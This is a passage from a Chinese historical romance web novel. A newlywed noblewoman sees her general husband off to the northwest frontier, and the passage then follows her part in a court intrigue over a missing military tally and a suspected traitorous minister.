“你天天都跟刚下地的牛犊子一样,再好的地……嗯……也经不住你这么造啊!” “你要再不走,我就要被送走了呜呜呜……好累!你快点啊!” 穆长舟微微挑眉,他已经很顾念她的身体了,所以每天夜里不过也就一两回而已。 若是按着他的体力,她夜里就别想睡了。 赵瑞灵是不知道他的想法,要知道肯定会恨得呸出声来。 这人次数是不多,耐不住他用时多啊,他们才成亲不足一月,她都不知道看见几回熹微晨光了! 可这会儿赵瑞灵实在没脑子去思考,因为这狗东西特别会挑时间听话。 她让他快点结束,他就只听了‘快点’两个字。 极致的灼热从相连的地方迸发,化作燎原烈火,将赵瑞灵的脑子烧成了一片白光,而后发生的一切都仿佛被时光给暂停了下来。 她只记得屋里渐渐黑了下来,她跟睁眼瞎一样,哆哆嗦嗦进入了一片温热水中,又晃晃悠悠被棉被盖住,然后就什么都不知道了。 再一睁眼,又是一片大好春光。 阿桥听到动静,赶忙过来掀开幔帐。 赵瑞灵被室内倾泻的灿烂阳光晃了眼,赶紧捂住眼睛。 “你……咳咳!把窗户关上!”一张嘴,她嗓音沙哑得跟老妪一般无二。 阿桥赶紧让赵安素关窗,自己伺候 着赵瑞灵喝蜜水。 乔媪在一旁温柔安慰:“郎君要走,我知道娘子难过,可你也得顾念自己的身子才是啊,万要小心,别哭坏了身子啊。” 赵瑞灵被蜜水呛着,猛地咳嗽了出来,阿桥憋着笑,一点也不意外地上前替娘子拍背。 原先于泓还活着的时候,娘子得知他要去进学,也发生过差不多的事儿,不过比昨日的反应稍微小点。 一开始阿桥也以为娘子是为于大郎的离家而难过,还想着安抚呢,结果话都还没组织好,就见娘子窝在家中的竹榻上笑得跟偷了油的老鼠一样欢。 至于娘子这哭红的眼睛,还有沙哑的嗓音……阿桥不动声色看了眼娘子亵衣也挡不住的痕迹,脸颊微红,却非常笃定发生了什么。 要知道,醇国公可没有于家大郎那么好的脾气,啧啧~ /:. 赵瑞灵被伺候着去沐浴的时候,乔媪看到她身上的痕迹,也猜出昨天发生的,大概不只是娘子难过哭晕了这件事了。 不过两人感情越好,乔媪心里只会愈发安慰,也没说什么让赵瑞灵羞恼的话。 等伺候赵瑞灵用完早……午膳,乔媪这才道:“国公只有短短几天就要出征,娘子是不是赶紧安排人给国公收拾行囊了?” “啊?”赵瑞灵愣了下,“需要我来收拾吗?过去不都是甄……” “娘子!”乔媪难得稍稍强硬地打断赵瑞灵的话,满脸不认可冲赵瑞灵摇头。 “过去是过去,如今您已经是醇国公夫人了,这件事就该是您来办,方不负国公待您的好。” “国公离京的那日,您也得早些起来,送国公出城才行,这是为人新妇的本分,您可别叫国公冷了心啊。” 赵瑞灵:“……”他怎么待她好了,把她欺负晕了就算是对她好了? 她鼓着小脸儿在心里哼哼,这样的好也实在太累人了。 可她也知道乔媪说得对,外头人怎么想她不在乎,可穆长舟的心情她还是要顾忌的。 看昨日他的反应就知道,他应该不乐意她欢天喜地送他走,她要再不表示表示,她还能活到他离京吗? 赵瑞灵猛地打了个寒颤,赶忙站起身来:“快!叫甄顺来一趟,我要仔细问问他过去都给夫君准备了什么东西,这回咱们要准备得更细致一些。” “对了,让人去一趟前院找大郎问问,他有没有什么东西要给夫君带着的。” “阿桥,你快些出府,去寻个上好的匠人来,让他多雕刻一些我和大郎还有二郎的木雕,做成夫君日常会用到的物什上,让他想我们的事后能看看。” “还有,安素啊,你去跟陈尽然打听打听这武将吃穿住行最舒坦的装备,不拘多少银钱,多准备一些。” “王媪,给夫君带的药和补品,劳烦你出门去采买些上好的回来……” 随着赵瑞灵一连串的吩咐,正院和醇国公府里的下人们都动了起来。 穆长舟一大早就进宫谢恩,然后去了值房,跟兵部、户部还有司农司商议好狼覃军的军饷和辎重问题。 接着他又去了趟卫尉寺,打听清楚圣人是否会送行等琐事,被圣人留在太极殿用过午膳,半下午时候才得以回府。 回府的路上,他就从甄顺嘴里得知了赵瑞灵大张旗鼓给他准备行囊的消息。 “要说还得是主母体贴,过去咱们离京,何曾有人替咱们准备过这么多东西啊!”甄顺在外头咧着嘴感叹。 阿桥可是说了,郡主准备的东西里,也有他甄顺一份,只盼着他在西北能好好照顾郎君呢。 “这江南来的女娘就是会心疼人,估计过不了几日就得有武将家里要酸溜溜的开始闹腾咯,郎君娶郡主可是娶对了!” 穆长舟没搭话,只在马车里轻轻勾起了唇角,但等回到府里,他又恢复了面无表情的冷面阎王模样,才进了正院。 过去赵瑞灵还会被他这样子吓着,可自从知道他到底多没脸没皮后,就对他这样子免疫了。 她抬头看他一眼,理都不理,继续盯着阿桥和王媪送过来的行囊单子看。 穆长舟主动凑过去,从背后拥住赵瑞灵:“看来只有为夫不舍得娘子,娘子还是迫不及待要送我离京啊!” 赵瑞灵被扑到耳边的热气吓得一哆嗦,不是害怕穆长舟这话,是怕他又跟昨天一样不干人事儿。 待见屋里人都非常有眼色地退出去以后,她才用力拧住了穆长舟的腰肉,转了一大圈。 “嘶……为夫错了,轻点……”穆长舟赶紧捏住她的小手。 还是那句话,大男儿流血不流泪,可也知道疼啊! 赵瑞灵冷哼:“你要实在信不过我,不如就将我揣在怀里一起带去西北好了,就让大郎继续被程家往坏了教,也让我一个人在西北担惊受怕,反正我没良心,你有!” 穆长舟已经很习惯给娘子顺毛了,他轻笑着将赵瑞灵整个揣进怀里。 “那我可舍不得,只求娘子梦里多与我相会几次,我就心满意足了。” 赵瑞灵斜眼乜他:“那哪儿行啊,我还得思念你思念的夜不能寐呢,哪儿有空入梦?” 穆长舟面不改色点点头:“那也行,既然娘子夜不能寐,那咱们干点别的……” 赵瑞灵现在听不得‘别的’这俩字,立刻用力捏住穆长舟的嘴,红着脸瞪他。 “你生怕我夜里不做噩梦是吧?” 穆长舟被逗得哈哈笑,终于不再惹她了。 他懒洋洋抱着赵瑞灵,由着自家小娘子把行囊单子分门别类对好,又补充了好些东西上去。 等赵瑞灵将一沓单子递给阿桥,让她和乔媪继续去办差了,两人这才进了屋,准备午歇。 不过一躺下,赵瑞灵就满脸警惕看着穆长舟,根本不往他身边挨。 她现在腰还酸得厉害呢,实在是没力气继续跟他胡来了。 穆长舟也知道昨天有些孟浪,只笑吟吟看着一脸警惕的小娘子:“我们好好说说话,不动你。” 赵瑞灵满脸不信,又往后撅了撅腚,“你说,我听着呢。” 眼看她挤到了墙角,穆长舟这才顺势上去堵住她的路,将人顺利拢进了怀里。 不等赵瑞灵骂他不守信用,他就赶紧开口:“有些话不能大声说,你老实点,不然一会儿我忍不住你可别怪我。” 赵瑞灵终于老实了:“……那你快说,我困了!” 穆长舟轻声道:“先前那些部曲你虽然交给了太后和圣人,但他们两人的目标也不是这些人,那些部曲不会放过你这条青云梯。” “我在圣都他们不敢上门,我离开后,不只是他们,宫里宫外心有盘算的都会给你挖坑,你若是拿捏不准的事儿,就……” “装傻,我知道。”赵瑞灵抬头用脑袋蹭蹭他,撅了撅嘴。 “袁翁说我擅长着呢,你就别担心了。” 穆长舟忍笑,低头亲了亲她的眉心,“只装傻怕是躲不过去,实在为难,你就去找袁翁。” “但你也不可全听他所言,不是他会害你,而是有些事想太多,反倒不如按直觉行事。” “还有我离京后,安南侯怕是也会回京,到时圣人和太后之间保管还会因此有所动作,你别怕,圣人的身子如今看起来还不错,储位之争没那么快出结果……” 顿了下,他本想告诉赵瑞灵,圣人跟太子一样 ,都是先天不足,最危险的时候是每年冬季。 每个冬天,圣都的官员都会提心吊胆,担心圣人挺不过去。 但只要熬过一冬,剩下一年时间,圣体都还算安稳。 无论如何,年底之前他会想办法得到圣人召令回来一趟,储位之争,最多也就这几年时间。 在此之前,他不担心赵瑞灵的性命安危,只担心为小皇子保驾护航的那位,会利用赵瑞灵来达成目的。 思忖许久,他才慎重道:“如若遇到你解决不了的危机,你就将金玉符节给安南侯,但你要切记,无论他说什么,你都不能尽信……” 他话还没说完,一低头,就见赵瑞灵已经张着小嘴儿睡了过去。 他哑然片刻,这才觉出自己刚才话里的矛盾之处,失笑摇摇头,轻轻亲了亲她的小嘴儿,拥着娇软也闭上了眼睛。 也不知怎的,越是跟这小娘子亲近,他就越放不下她。 无论有多少盘算,只要他不能在她身边,就总担心会有纰漏。 实则,袁翁能做先圣军师,肯定会将这小兔子的性子也考虑进去。 至于安南侯……那就是才绝娘子最忠心的一条狗,绝不会伤害谢如霜的骨血。 他答应过会护着这小兔子的,他不会食言。 只要他能彻底将西戎人打回老家,再不敢来犯,替赵瑞灵和太后争取更大的权柄,杨矛延就算有异心也无计可施。 可无论再怎么算无遗策,到了出发这日,在圣人和圣都百官于城门外相送时,穆长舟看到小脸儿上终于挂上了些许不舍的赵瑞灵,心里的担忧仍然越来越重。 重得他心窝子都像是被什么蜇了似的,隐隐作痛,怎么都迈不开腿转身。 圣人实在看不过这对小鸳鸯黏糊的样子,轻咳提醒。 “时辰到了!” 赵瑞灵面上的不舍更明显,眼眶都微微泛红,呜呜呜……这狗东西终于要走了哇! 她晚上能睡个好觉了哈哈哈…… 眼看着赵瑞灵可怜巴巴看过来,穆长舟深吸口气。 他用力摔掉送行的瓷碗,大跨步上前,一把抄起可怜巴巴的娇软身影上马,策马扬鞭。 “出发!” “驾!” 正准备露出欣慰模样的圣人:“……” 佯装不舍的文武百官:“……” 没反应过来的赵安素和伸手抓了个空的阿桥:“……” 只有赵瑞灵尖叫得特别及时,又被迎面而来的风糊了一脸,魂儿都要吓飞了。 啊啊啊这人不会真把她揣走带去西北吧??? 第48章 第48章这就是心动啊! 二月的风仍然料峭得紧,冷得刀子也似往人脸上身上刮,赵瑞灵冻得直打哆嗦。 穆长舟听到赵瑞灵尖叫的第一时间,就将自己身后的大氅解下来,从她脑袋上盖下去,迅速将人裹住,轻拍了拍。 “抓稳一些,很快就到了。” 到了?赵瑞灵愣了下,到哪儿?! 她跟被装进袋子里的小龟一样,努力挣扎着想去拧身后这又不打招呼,将人提到马上的混蛋。 “你骑一一……慢一点啊啊啊!”她的屁股啊,比先前挨打的时候还要疼,魂儿都要震出来了。 “你到底要嗷嗷……干嘛,说话呀!” “那么多人看着呢,往后我鹅鹅……还怎么见人啊!” “圣人都看着呢,你就不怕圣人嗯嗯……怪罪吗?” “穆长舟,你给我停——唔!”赵瑞灵一颠一颠地叫嚷,止于突然钻进大氅里堵她的薄唇上。 那薄唇冰凉,却又温柔,让她一时间忘了要说什么,也就没发现马已经停了下来,周围却没有要跟随穆长舟一起去西北的甄顺等人。 穆长舟含笑堵住自家娘子的嘀咕,发现她小手冰凉,也没耽误时间,利落将她横抱下马,大跨步进了亭子里。 离圣都十里外这座松风亭,赵瑞灵并不陌生,上回她往温泉庄子上跑,被穆长舟抓到,就是在这里。 但是上回这座亭子四面通风,亭子里只有一张石桌并几个石凳,今天却挂上了厚重的毛毡。 一进去后,刚才在马上吹冷的身体立时暖和起来了,赵瑞灵撅着嘴一脸不乐意地低头看了眼。 四角都有火盆子,这明显是穆长舟早就准备好的。 一被放到地上,赵瑞灵就捶了穆长舟一下:“你就不能提前跟我说……唔!” 她话没说完,又被箍住腰肢拽进这人怀里,堵住了嘴。 时间不多,穆长舟实在不想听这张小嘴说自己不爱听的话,还不如多要点利息。 “你欺负人没……唔唔!”她气喘吁吁说出几个字来,就又被吻住了。 只要她说话,穆长舟二话不说就用嘴堵人,直把赵瑞灵气得没脾气了,软塌塌捶他几下,抱住他的腰不吭声了。 虽然巴不得这人走,可到底日夜相处了二十多天,冷不丁这人要离开圣都,她其实也有一丢丢的不舍。 现下听着他沉稳却又有力的心跳,那点不舍稍稍发酵,变成了两丢丢。 她抬起头,用小手先捂住他的薄唇:“路上你要记得好好吃饭,注意保暖,别仗着自己年轻力壮就不当回事,不然等你老了,我可不伺候你。” “还有什么想跟为夫说的吗?”穆长舟始终深深看着她。 赵瑞灵心窝子狂跳不止,这人不会发现她把他的被褥和枕头都收起来了吧? 不不不,她出门之前才吩咐阿桥的。 这人当时已经进宫了诶,心跳如鼓……这就是心动啊! 她对自己的夫君心动有问题吗?没有,所以她更用力地抱住穆长舟,脑袋扎他怀里不敢抬头。 穆长舟没错过这小兔子脸上一闪而逝的心虚,又是好笑,又是好气,焐了二十多天,也没把这小兔子的良心焐出来。 但他也顾不上计较那么多了,反正她没良心也不是一天两天了,将来……如果一切顺利,他有的是时间慢慢焐热她。 “你就从没想过万一遇见危险,要让人告诉我是吗?”他轻轻咬住赵瑞灵的小嘴儿。 “不要太过依赖袁翁和安南侯给你的人,若是遇到解决不了的麻烦,就带着我的印信去找甄保。” 赵瑞灵不置可否,她又不是傻子,这会儿只贴着他的唇问:“印信?我没看到啊。” “就放在你藏起来的那个荷包旁边了。”穆长舟缓缓蹭了蹭她的鼻尖,含笑道。 赵瑞灵:“……”荷包他都藏进卧房衣柜后头的洞里了,他属老鼠的吗? “灵娘……”穆长舟顿了下,轻轻抚过她被亲得已经红润起来的唇瓣,用力压下心头的不舍和不甘。 娶这小娘子之前,他就知道自己栽了,但他也很清楚这没心没肺的小娘子并没有动心。 直到现在他也没能等到想听的那句话,那就只能他来说了。 他用力将人摁在怀里,捏了捏她的小脸儿。 “今年我会想办法回京,记得给我写信,每天一封,让甄保送出去,若是你写得少了,等我回来……在幔帐里给为夫补上也行。” 赵瑞灵原本还有些发苦的小脸儿,立马正气凛然起来。 “夫君出门在外,我心里记挂,保管一天一封信,日日不断,只盼夫君早些归来!” 阿弥陀佛,最后一句求菩萨可千万别听! 带着赵瑞灵跑了这一路,又说了会儿话,时辰也不早了,穆长舟没办法继续耽搁,只好亲了亲赵瑞灵的眉心,放开她转身,往外走去。 赵瑞灵大惊失色,疾步追上前,满脸不舍……不是,他走了,她怎么回去啊! “夫……嗝!”一掀开毛毡,见到等在外头的赵安素,赵瑞灵吓得打了个嗝,咽下了对穆长舟的呼唤。 穆长舟翻身上马的动作顿了下,没有回头,直接策马离开。 他也就没看见,赵瑞灵抚着唇瓣,站在冷风口上,定定看了好久,直到看不见他的身影才上了马车。 “娘子,羽林卫常右监夫人苗氏,还有飞龙军折冲都尉柳氏少夫人岳氏,并文氏主母廖氏都递了帖子,想邀您赏雪。”赵安素赶着马车,低声对着马车内端坐的赵瑞灵道。 赵瑞灵一点也不意外,上回他们也是在穆长舟离开圣都后,才有动作,这群人怕穆长舟怕得跟老鼠见了猫一样。 但她,却是老鼠眼里的一块肥肉。 她问赵安素:“韩太傅夫人没有递帖子吗?” 赵安素思忖片刻,摇头:“没有, 韩太傅自从年底就告了病,一直在府中养病不出,韩家连过年都没大办,又因为先前袁中丞弹劾一事,门庭冷落,就算下了帖子,怕是也无人会去,不过……” 顿了下,赵安素不知道该不该说。 赵瑞灵掀开帘子,露出脑袋,“怎么,他们去找阿旻了?” 不从她这里下手,那些人知道她跟英国公府不亲近,能动的心眼子也就只有于旻了。 “是,陈尽然收到小儿子送来的消息,说国子监秦司业待二郎特别亲近,还曾跟二郎单独在司业值房说过话,但说了什么二郎没告诉陈小六。” 按理说,这事儿陈小六也不该传回郡主府,赵瑞灵并没有吩咐陈尽然让人监视于旻。 可那秦司业是抚平将军的远房侄子,也是太傅韩延年的妻弟,万一对方忽悠了于旻做下什么错事,到时候郡主就该受制于人了。 陈小六这才把消息传回来,陈尽然一直迟疑着该不该禀报,他们其实都有点怕醇国公,所以赵安素等醇国公走了才禀报。 赵瑞灵也想不清楚对方是怎么说服于旻单独说话,还不让她知道的,这小家伙跟她可从来没有过秘密。 她也没多想,大不了等着下次于旻沐休的时候,她问一下于旻就知道发生什么事儿了。 “三家的帖子先拒了吧,就说醇国公离京,我心里难过,实在打不起精神赴宴,过阵子等我心情好些了,请他们入府赏花。”赵瑞灵吩咐赵安素。 穆长舟不在圣都,通过他离开之前的再三叮嘱,赵瑞灵也清楚自己该做的是低调,不要被人算计着拉进储位之争里。 赵安素应声,问:“那国子监那里……” “后天我们去一趟袁府再说。”赵瑞灵不打算直接跟韩太傅打交道。 到了于旻沐休这日,赵瑞灵一大早就叫人去国子监传了消息,让于旻去袁府。 太子因为换季病了,这阵子袁修永一直在府里不用入宫,赵瑞灵也一大早就到了袁府等着,袁夫人出面招待她。 还没等于旻回来,袁修永就叫人将赵瑞灵请到了书房。 一看到赵瑞灵,袁修永便开门见山道:“我知道韩延年要做什么,他只是让他妻弟帮他传了个消息。” 赵瑞灵挑眉,韩延年先前还让自己的夫人光明正大登门,解释了一通莫名其妙的话,表示自己还忠心于太后。 现在怎的又绕这么大圈子? 她通过穆长舟在幔帐里跟她分析过的情况猜测,“他是被人拿捏住了把柄,受人所制?” 袁修永欣慰点头:“差不多,他和杨矛延的门生众多,圣都和大昭各地都有不少,你们湖州府的知府陈清源就是他的门生。” “如今朝廷改制,从十三道往下,各州、郡、县现在都在争权夺势,只不过所有的暗流都被巡察司和各道驻军给压下去了。” 赵瑞灵不解:“那跟韩延年背着太后投靠圣人有什么关系?” 原先赵瑞灵不知,但现在却早就明白了,虽然太后和圣人都高坐庙堂,可在京外,各道的知州也都是他们的人手。 如今州郡县改制,就相当于太后和圣人的又一轮争夺。 到时候谁手底下掌控的刺史多,谁就能掌控更多的兵权,一旦圣都有异,各道起兵也能威慑朝廷。 按理说门生众多的韩延年和杨矛延,这时候正是争夺从龙之功的好时候,这突然倒筏,总有些怪异。 “门生多有门生多的好处,可要知道林子大了什么鸟都有。”袁修永意味深长笑道。 “你又怎知那些明面上尊师重道的门生,有多少背信弃义之辈,就拿范梁、戚云继那几个进入太府寺和光禄寺任职的人来说,些许六品七品的小官,也用不着韩延年亲自开口安排。” 赵瑞灵恍然:“您是说,韩延年是被自己人背叛了?那他为何不直接跟太后说?” 袁修永:“那他总得能把人抓出来,有了证据才能说,否则太后凭什么信他。” “他找到我这儿来,其实也是在打你的主意。”袁修永铺垫完了,这才将韩延年的来意说明白。 “他如今低调行事,也是为了抓出内鬼,可内鬼虽然已经有了眉目,却涉及了京城外的局势,甚至还牵扯到一个不该牵扯的人。” “证据他摆到小老儿面前来,是想用袁氏的势力去查清楚,然后用你在太后跟前的体面,说服太后相信他的判断。” 赵瑞灵屏住呼吸:“牵扯到了谁?” 袁修永没卖关子:“你二舅母的阿耶,中书侍郎杨矛延,韩延年断定,他是先圣安插在太后身边的钉子。” 赵瑞灵:“……”那跟韩延年背叛太后也没啥区别了。 这俩人不是姨母的左膀右臂吗? 有许多事太后应该都是通过这两人去做的,渭王和太子能分庭抗礼,也是因为这两人。 杨矛延对太后和渭王手下的势力估计比任何人都清楚,他一旦反水,渭王能夺得储位的机会就更小了。 只是杨矛延是她阿娘举荐给太后的,从微末时候就跟在太后身边,明着暗着做过许多与圣人作对的事情,摆明车马将全族的身家性命都赌在了渭王身上。 一旦韩延年的证据提交上去,杨矛延也不会坐以待毙。 真要狗咬狗起来,要让太后相信他背叛,太后估计宁愿相信韩延年背叛。 赵瑞灵的脑子是理不清这里头的利害了,她干脆问袁修永。 “那您以为,他们两个到底谁才是不忠的那个?” 袁修永曾经做过先圣的军师,对先圣再了解不过,那是个走一步想十步的男人,而且先圣对谢氏的警惕袁修永也知道原因。 因为谢如霜七星灵童转世的身份,都说灵童转世多在龙气诞生之地,偏偏谢如霜却不是皇家人。 先皇对谢氏的杀意哪怕藏得再好,袁修永当年常伴左右,也隐约察觉到了一星半点的。 包括先圣想让谢如霜成为殷氏妇,跟太后姐妹相争的想法,袁修永也知道。 所以当年谢如霜坠崖,七年后又寄信到他手中,袁修永一点都不惊讶。 越了解先圣的为人,袁修永就越清楚,韩延年背叛与否不好说,可杨矛延却比韩延年更有可能是那个不忠之人。 “杨矛延乃是前朝世家,他当年求学在外,但杨氏整个家族是为殷氏所灭,这是太后信任他多过韩延年的最主要原因。”袁修永淡淡道。 “可当年你阿娘是在淮南道遇到他的,他跟随大部队到达当时先圣驻扎的黔南道时,籍籍无名了好一阵子,才被举荐到了太后身边。” 在这期间,他一直都以谢氏门客自居,但也保不准会有其他人接触他。 那个时候天天打仗,他也不是时刻都在谢如霜身边,也有跟随飞龙军作战的时候,先圣让人接触他一点也不难。 “如果杨矛延因为家仇不肯投靠殷氏,却又识时务为俊杰,倒也说得过去。”袁修永眸底闪过微讽。 “可先圣眼里不揉沙子,他能逼得你阿娘坠崖,一个心怀家仇国恨的世家余孽,他能任由对方在自己的妻子身边当差,若说他没有任何制衡的手段,你信吗?” 赵瑞灵不信,“那姨母也不该信吧?” 她觉得太后挺聪明的。 “先圣还在时,他一直被打压,直到圣人继位,太后靠着那些从龙的老臣龙口夺食,在朝中安插了许多自己的人,才将杨矛延和韩延年给推了上去。”袁修永解释。 在旁人眼中,杨矛延已经受过家世所累了。 只有袁修永这个军师明白,先圣如果想杀一个人,不动声色的法子有多少。 “虽为身在局中之故,但太后手段够狠,看人的眼光……却不及你阿娘。” 赵瑞灵明白了,“所以您也觉得杨矛延才是那个背叛太后的人……” 那可就坏菜了。 如今各州郡派下去的刺史,一大半的人都是韩、杨两家门生,还有一部分是勋贵子弟,其中就包括各国公府的姻亲。 如果杨氏和杨矛延的门生不忠于太后,约等于大昭大半已被圣人掌控在手里。 一旦圣人有个不测,圣人完全可以对三省六部的大臣和宗亲权贵托孤。 杨矛延完全可以凭借太后的信任提前布局,到时太后和渭王就只有门下省首辅一人支持。 一旦让太子继位,再找出渭王造反的证据……太后也许不会死,可英国公府和谢氏就别想活了。 她猛地站起身:“那我现在就去跟姨母说,我的话,还有袁翁的判断,姨母总会相信的吧?” 袁修永叹了口气,拦住赵 瑞灵:“韩延年目前掌控的证据,只能证明手下人的背叛,却没办法往杨矛延身上推,毕竟他没有为殷氏效力的理由。” “杨矛延如今在朝中,一力坚持为渭王请封京畿一带为封地,在各地也多为渭王一脉筹谋,你让太后如何相信?” 事实上,韩延年隐晦地表明,一旦他往深了查……身在中书省,这些年杨矛延能做的事情太多了,反过来坐实韩延年不忠之名也并非难事。 赵瑞灵蹙起眉:“那就只能眼睁睁看着杨矛延继续在背地里算计?” “那小老儿我也可以直接埋地里去了。”袁修永翻了个白眼。 “你当韩延年为什么要绕着弯子来告诉我?” “对哦,最擅长动心眼子的可是您啊!”赵瑞灵冲袁翁嘿嘿笑。 “姜当然还是您辣,那您快说,咱们到底该怎么做?” 袁修永:“……先前几家部曲不是给你舀了帖子,你想办法放出消息去,就说谢氏的金玉符节被你阿娘留在了谢家。” 赵瑞灵心下一凛,迟疑了下,小声道:“可金玉符节在……” “在谁手里并不重要,眼下也不是金玉符节出现的时候!”袁修永快速打断赵瑞灵的话,他意有所指看着赵瑞灵。 “为符节所能号召的那些人,多在飞龙军、虎头军,狼覃军少一些也不是没有,所以这符节有用,但要看在谁手里。” 就算这小娘子能拿出金玉符节来,三军将士也不可能对她一呼百应。 可若是在出过灵童的谢氏手里,抑或是飞龙军、虎头军和狼覃军任何一个大将军的手里,凭着他们的军功和手中的兵权,就又是另外一番天地。 圣人犹在,也曾跟随先圣打天下,积威渐重,金玉符节这时候出现,只会被圣人想办法拿到自己手里,谁也不敢轻易背叛。 但若圣人不在了,一个托孤的体弱太子,和能得大将支持的渭王,且掌控着号令三军的金玉符节,傻子都知道怎么选。 如果杨矛延背叛,他一定不会放过这个获得金玉符节的机会,定会私下里有所动作。 到时候凭借袁氏的势力,袁修永就有办法得知这人到底是为何不忠,才有办法反制这人。 赵瑞灵被打断话后,沉默片刻,看着袁修永的眼眶微微泛红。 “袁翁……我是不是让您为难了?” 袁翁当年离京,恐怕就是不想掺和进这储位之争里来。 可为了她,袁翁还是重新回了圣都,身为太子师,却要为她和谢氏血脉所出的渭王筹谋,其中的煎熬,不必说赵瑞灵也能想得出来。 袁修永失笑,轻描淡写点了点赵瑞灵。 “少在这儿跟小老儿撒娇卖痴,袁氏虽为忠义世家,却也得讲个先来后到,我先欠的可不是……”殷氏。 如果没有谢如霜,没有谢颖淮,定江郡袁氏早就没机会跟程氏齐名,成为过眼云烟了。 再说,渭王也是殷氏血脉,他只是在忠于殷氏的前提下,想保住恩人血脉而已。 至于张皇后和圣人所出这一脉……自古忠义两难全,他袁修永也早知道会有这一天。 大不了到地底下再赎罪就是了。 他挥挥手:“好了,去吧!” “切记,刚才我与你说的事儿,却不能由你亲自开口,但知道的人越多越好,其他的我会安排。” 赵瑞灵:“……”感情最为难的是她,那她怎么让人知道啊! 她苦着脸回到醇国公府后,赵安素立刻上前禀报。 “郡主,您先前让我推了各家的帖子,我已经派人送消息过去了。” 赵瑞灵脸上苦色更重,幽幽抬起小脸儿来,看着赵安素。 “你觉得,我要说醇国公离京后我突然发现,一个人独守空房的滋味儿实在是太自在了,太让人开心了,所以我又能去赴宴了,她们会不会觉得我疯了?” 赵安素:“……”这是不是人话,您自个儿觉得呢? 被阿桥引着过来禀报府中事务的甄保,脚步也是微微一顿。 主母突然发现了什么不重要,他突然知道给郎君的信上要写什么了。 第49章 第49章郎君,圣都八百里加急送…… 三月初一,穆长舟带着甄顺等人,风尘仆仆到达西北都护府。 他刚下马,都护府的长史穆敬就握着两卷绢帛迎了出来。 “郎君,圣都八百里加急送来的家书。” 穆长舟成亲的消息狼覃军那边还不知情,只有穆敬知道。 他以为郎君跟过去一样,因着在储位之争要保存狼覃军实力,不得已的妥协,没放在心上。 但甄保接连两封家书,还是走的八百里加急,日夜兼程,才会比穆长舟更先到达西北,穆敬心里也担忧着呢。 他是老国公身边的长随,全心全意为穆长舟一人,若圣都那边国公府里出了事儿,穆敬只怕牵连到郎君身上。 却没料到,听他急匆匆说完,穆长舟和他带的一行人竟一个神情肃穆的都没有。 甄顺甚至还在那儿挤眉弄眼。 穆长舟没好气地踢他一脚,噙着笑,用看似气定神闲却飞快的速度,接过穆敬手里的家书。 按照他跟那小兔子的约定,她寄过来的家书这几日也该送到了。 甄保叫人急送两封家书……大概是飞龙军和在圣都的那些部曲们不安分,赵瑞灵闹出动静来了吧? 从赵瑞灵在湖州府敲登闻鼓的时候,他就知道他娘子不是个老老实实的小女娘,她在压力下成长得比任何人都快。 一路疾行至书房,穆长舟打开家书,唇角的笑意更深了些。 果然。 赵瑞灵在他离开后第三日,参加了飞龙军上三所折冲都尉府操办的赏梅宴。 据说她带阿桥在柳氏后花园的暖阁里躲清静,突然聊起要将作监做的金玉符节。 因为没有鲁国公府送去的图纸,所以将作监没能做出来。 当然,是圣人不许做,或是鲁国公不许做,谁也不知道,但将作监却是有其他符节图纸的。 阿桥说先前看到图纸就觉得眼熟,好像在去给英国公府世子送东西的时候,见到过差不多图案的东西。 接着阿桥又说自己可能看错了,两个人只是笑闹,谁也没放在心上。 可没过几日,平康坊里当红的花魁就说,确曾在英国公世子身上见到过符节玉佩。 说得有鼻子有眼的,还说自己去碰触的时候,被英国公世子训斥了。 甄保在信中着重描述外头的传言:“与先前酒楼茶肆之举有异曲同工之妙,属下不敢妄加揣测,然,陈尽然确去过平康坊,正院有一千两银子不明去处。” 显然,赵瑞灵只瞒着外人,并没有瞒着家里人,她就是效仿了甄顺的法子。 这是她能想到不靠自己说,却又能以最快的速度传开,最好的办法了。 甄保的第二封信就说了这事儿的后续。 平康坊的消息要在坊间传开不难,可要传到各家女眷耳中,且需要些时间。 折冲都尉府的少夫人岳氏收到消息后,立马就记起家中仆从在暖阁偷听到的对话。 两厢一对比,她也不敢耽搁,派人传信去了鲁国公府。 鲁国公张鹏鲲早年是个街溜子,若不是他家祖坟冒了青烟,出了个太子侍妾,张皇后又凭着肚子争气得封皇后,他估计到老也是个混不吝。 即便身在高位,他行事也还带着几分市井养出来的习性,只要能达成目的,从来不会太讲究体面和规矩。 身为圣人的大舅子,储君的 舅舅,他确实有这个造作的底气,还真想出了试探英国公府的法子。 他让人做了个假的金玉符节,大摇大摆上门拜访英国公,趁机叫人在英国公府藏了起来。 扭头他就在坊间明着扔出话来,说谢如霜留下的金玉符节当年根本没有被她带走,而是留给了谢颖淮,如今就在英国公府。 穆长舟离开之前,就叫甄保带人盯着那些部曲的动静,顺藤摸瓜,将此事正好探了个正着。 张鹏鲲甚至大咧咧在朝堂上跟圣人说,“臣那日去英国公府找英国公吃酒,酒意正酣的时候,确实见到那东西就在英国公的书房里。” 没人计较他去找英国公吃酒,英国公为什么会搭理他,又为什么会在书房里吃酒这种不合常理的事儿。 一个人说假话,旁人还会怀疑。 可坊间传闻,甚至侧面有谢氏血脉佐证,甚至鲁国公也如此说,旁人也不想细究其中的证据,只会怀疑英国公府确实藏着那金玉符节了。 如果这符节在赵瑞灵手里,如袁修永所言,相关的人还没那么紧张。 他们不信一个小娘子能掀起什么风浪来,又不是才绝娘子在世。 但若符节在英国公府手里,另当一说。 谢颖淮可也是立下过军功的,虽然谢氏三兄弟如今都没有军权,但在朝中也算说得上话,在飞龙军乃至虎头军也有旧部。 万一英国公暗中支持太后,到时候凭着符节一呼百应……这储位的天平就不稳了。 圣人对此当然没表现出怀疑,只对英国公好言好语说,若是金玉符节为英国公府所掌,倒也不是坏事,还笑问英国公谢正阳要不要从尚书省换到兵部去。 穆长舟这会儿在书房里笑得肩膀轻颤。 谢正阳的心情这会儿大概跟踩了狗屎也没什么两样了。 他虽是尚书省右仆射,可在尚书省监管六部,为从一品官,若是换到兵部,虽能接触兵权,却是正二品。 而且他如果真有金玉符节,只会被圣人派人盯死,不给他任何机会能拿出这符节来一呼百应。 更不用说,那金玉符节还在他家小兔子挖的洞里好好放着。 即便谢正阳能从府里找出张鹏鲲藏起来的假符节,送进宫也只会被人以为是迷障。 若找不出来,一旦死抓不放地细究,张鹏鲲使坏让人找出假的来……假的都有了,真的说不准也在呢。 你就说人家见没见过吧。 反正这事儿是泥巴落在□□上,不好解释。 穆长舟若有所思,赵瑞灵即便跟谢氏不亲近,也不会无缘无故替英国公府招惹麻烦。 此事必定不是她的主意。 如是袁翁授意……思及先前顾志泽跟他提及的事情,穆长舟了然,袁翁怕是也发现杨矛延的异样了。 顾志泽走之前,穆长舟就让他以山南道为中心,派人盯着杨氏一脉的人动静。 